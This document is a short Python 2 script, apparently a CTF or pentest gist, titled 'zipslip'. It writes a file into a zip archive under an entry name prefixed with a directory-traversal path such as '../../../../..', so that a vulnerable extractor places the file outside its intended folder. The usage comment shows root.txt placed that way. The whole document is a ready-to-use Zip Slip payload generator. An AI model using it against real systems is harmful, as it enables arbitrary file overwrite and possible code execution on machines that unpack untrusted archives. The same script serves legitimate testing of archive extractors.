Creates zips with relative paths ("zipslip")

zipslip.py

#!/usr/bin/env python
import zipfile
import sys
import os

'''
Usage:
  python zipslip.py xct.zip root.txt ../../../../..
  Added ../../../../../root.txt to xct.zip
'''

def zip_file(file, path):
	real_path = os.path.abspath(os.path.abspath(file))
	fake_path = path+"/"+file	
	z.write(real_path, fake_path)


if __name__ == '__main__':
	archive = sys.argv[1]
	file = sys.argv[2]
	path = sys.argv[3]
	z = zipfile.ZipFile(archive, 'w', zipfile.ZIP_DEFLATED)
	zip_file(file, path)
	print "Added "+path+"/"+file+" to "+archive
	z.close()